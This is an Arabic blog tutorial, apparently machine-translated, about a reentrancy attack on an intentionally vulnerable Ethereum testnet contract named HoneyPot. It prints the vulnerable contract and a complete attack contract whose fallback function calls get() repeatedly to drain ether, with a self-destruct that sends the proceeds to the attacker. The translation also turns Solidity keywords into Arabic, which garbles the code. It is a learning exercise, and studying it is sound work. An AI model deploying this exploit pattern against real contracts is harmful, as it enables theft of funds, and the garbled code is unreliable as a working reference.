هجوم إعادة التأجير على العقود الذكية: كيفية تحديد المستغلة ومثال على عقد الهجوم

إلى رمز العقود الذكية هي بالتأكيد ليست نزهة مجانية. تكلف الأخطاء التي تم إدخالها في الكود أموالك وعلى الأرجح ليس فقط أموالك ولكن أيضًا لأشخاص آخرين. الحقيقة هي أن النظام البيئي Ethereum لا يزال في مراحله الأولى ، لكنه ينمو ويتم تحديد المعايير وإعادة تعريفها بحلول يوم واحد بحيث يحتاج المرء إلى أن يكون محدثًا دائمًا ويشبه أفضل ممارسات أمان العقود الذكية.

كطالب في أمن العقود الذكية ، كنت أبحث عن نقاط الضعف في التعليمات البرمجية. أخبرني المعلمون في Team B9lab مؤخرًا أن هذا العقد قد تم نشره على testnet.

براغما صلابة ^ 0.4.8 ؛
عقد شهر العسل
  تعيين (عنوان => uint) الأرصدة العامة ؛
  وظيفة HoneyPot () مستحقة الدفع {
    ضع()؛
  }
  وظيفة وضع () مستحقة الدفع
    أرصدة [msg.sender] = msg.value؛
  }
  وظيفة الحصول على () {
    إذا (! msg.sender.call.value (أرصدة [msg.sender]) ()) {
      يرمي؛
    }
      أرصدة [msg.sender] = 0 ؛
  }
  وظيفة() {
    يرمي؛
  }
}

عقد HoneyPot أعلاه يحتوي في الأصل على 5 أثير وتم تصميمه عمداً ليتم اختراقه. في منشور المدونة هذا ، أود أن أشارككم كيف هاجمت هذا العقد و "جمعت" معظم أثيره.

العقد الضعيف

الغرض من عقد HoneyPot أعلاه هو الاحتفاظ بسجل أرصدة لكل عنوان يضع () الأثير فيه ويسمح لهذه العناوين بالحصول عليها () لاحقًا.

دعونا نلقي نظرة على الأجزاء الأكثر إثارة للاهتمام في هذا العقد:

تعيين (عنوان => uint) الأرصدة العامة ؛

يعين الرمز أعلاه عناوين لقيمة ويخزنها في متغير عام يسمى الأرصدة. انها تسمح للتحقق من رصيد HoneyPot للحصول على عنوان.

أرصدة [0x675dbd6a9c17E15459eD31ADBc8d071A78B0BF60]

الدالة put () أدناه هي حيث يحدث تخزين قيمة الأثير في العقد. لاحظ أن msg.sender هنا هو عنوان مرسل العملية.

وظيفة وضع () مستحقة الدفع
    أرصدة [msg.sender] = msg.value؛
  }

هذه الوظيفة التالية نجد أين يمكن استغلالها. الغرض من هذه الوظيفة هو السماح للعناوين بسحب قيمة الأثير لديهم في أرصدة HoneyPot.

وظيفة الحصول على () {
    إذا (! msg.sender.call.value (أرصدة [msg.sender]) ()) {
      يرمي؛
    }
      أرصدة [msg.sender] = 0 ؛
  }

أين هو القابل للاستغلال وكيف يمكن لشخص يهاجم هذا تسأل؟ تحقق مرة أخرى من سطور التعليمات البرمجية هذه:

إذا (! msg.sender.call.value (أرصدة [msg.sender]) ()) {
      يرمي؛
}
أرصدة [msg.sender] = 0 ؛

يحدد عقد HoneyPot قيمة رصيد العنوان إلى صفر فقط بعد التحقق من انتقال الأثير إلى msg.sender.

ماذا لو كان هناك AttackContract الذي يخدع HoneyPot إلى التفكير في أنه لا يزال لديه الأثير للانسحاب قبل ضبط الرصيد AttackContract على الصفر. يمكن القيام بذلك بطريقة تكرارية ويسمى ذلك باسم "هجوم إعادة الدخول".

لنقم بإنشاء واحد.

هنا هو رمز العقد الكامل. سأبذل قصارى جهدي لشرح أجزائه.

براغما صلابة ^ 0.4.8 ؛
استيراد "./HoneyPot.sol" ؛
عقد HoneyPotCollect {
  HoneyPot honeypot العامة ؛
  وظيفة HoneyPotCollect (عنوان _honeypot) {
    honeypot = HoneyPot (_honeypot) ؛
  }
  وظيفة قتل () {
    انتحار (msg.sender)؛
  }
  وظيفة تحصيل () مستحقة الدفع
    honeypot.put.value (msg.value) ()؛
    honeypot.get ()؛
  }
  وظيفة () مستحقة الدفع
    if (honeypot.balance> = msg.value) {
      honeypot.get ()؛
    }
  }
}

الأسطر القليلة الأولى هي في الأساس تعيين المترجم صلابة لاستخدامها مع العقد. ثم نستورد عقد HoneyPot الذي أضعه في ملف منفصل. لاحظ أنه يتم الرجوع إلى HoneyPot خلال عقد HoneyPotCollect. وقمنا بإنشاء قاعدة العقد التي نسميها HoneyPotCollect.

براغما صلابة ^ 0.4.8 ؛
استيراد "./HoneyPot.sol" ؛
عقد HoneyPotCollect {
  HoneyPot honeypot العامة ؛
...
}

ثم نحدد وظيفة المنشئ. هذه هي الوظيفة التي تسمى عندما يتم إنشاء HoneyPotCollect. لاحظ أننا نقوم بتمرير عنوان لهذه الوظيفة. سيكون هذا العنوان هو عنوان عقد HoneyPot.

وظيفة HoneyPotCollect (عنوان _honeypot) {
    honeypot = HoneyPot (_honeypot) ؛
}

الوظيفة التالية هي وظيفة قتل. أريد سحب الأثير من عقد HoneyPot إلى عقد HoneyPotCollect. ومع ذلك أريد أيضًا أن أحصل على الأثير الذي تم جمعه على عنوان أمتلكه. لذلك أضفت آلية لتدمير HoneyPotCollect وأرسل كل الأثير المحتوي فيه إلى العنوان الذي يستدعي وظيفة القتل.

وظيفة قتل () {
  انتحار (msg.sender)؛
}

الوظيفة التالية هي التي ستعمل على إعادة تشغيل هجوم إعادة الدخول. يضع بعض الأثير في HoneyPot وبعده مباشرة.

وظيفة تحصيل () مستحقة الدفع
    honeypot.put.value (msg.value) ()؛
    honeypot.get ()؛
  }

يخبر مصطلح الدفع هنا الجهاز الظاهري Ethereum بأنه يسمح باستلام الأثير. استدعاء هذه الوظيفة مع بعض الأثير أيضا.

الوظيفة الأخيرة هي ما يعرف باسم وظيفة الرجوع. تُسمى هذه الوظيفة غير المسماة عندما يتلقى عقد HoneyPotCollect الأثير.

وظيفة () مستحقة الدفع
    if (honeypot.balance> = msg.value) {
      honeypot.get ()؛
    }
  }

هذا هو المكان الذي يحدث فيه هجوم إعادة الاعتداء. دعنا نرى كيف.

الهجوم

بعد نشر HoneyPotCollect ، اتصل بجمع () وإرسال بعض الأثير معها.

ترسل الدالة HoneyPot get () الأثير إلى العنوان الذي يطلق عليه فقط إذا كان هذا العقد يحتوي على أي أثير كميزان. عندما يرسل HoneyPot الأثير إلى HoneyPotCollect ، يتم تشغيل وظيفة الإرجاع. إذا كان رصيد HoneyPot أكثر من القيمة التي تم إرسالها إليها ، فستحصل وظيفة استدعاء الدالة الاحتياطية على () مرة أخرى وتتكرر الدورة.

تذكر أنه ضمن دالة get () ، لا يأتي الرمز الذي يحدد الرصيد إلى الصفر إلا بعد إرسال المعاملة. هذا يخدع عقد HoneyPot في إرسال الأموال إلى عنوان HoneyPotCollect مرارًا وتكرارًا حتى يتم استنزاف HoneyPot لما يقرب من جميع الأثير.

جربه بنفسك. تركت اختبار الأثير في هذا العقد حتى يتمكن الآخرون من تجربته بأنفسهم. إذا كنت لا ترى أي أثير ترك هناك ، فذلك لأن شخصًا ما هاجمه بالفعل أمامك.

لقد قمتُ في الأصل بإنشاء هذا الرمز لـ HoneyPotAttackusing the Truffle framework. هنا هو الكود في حال كنت في حاجة إليها لتكون مرجعا. استمتع!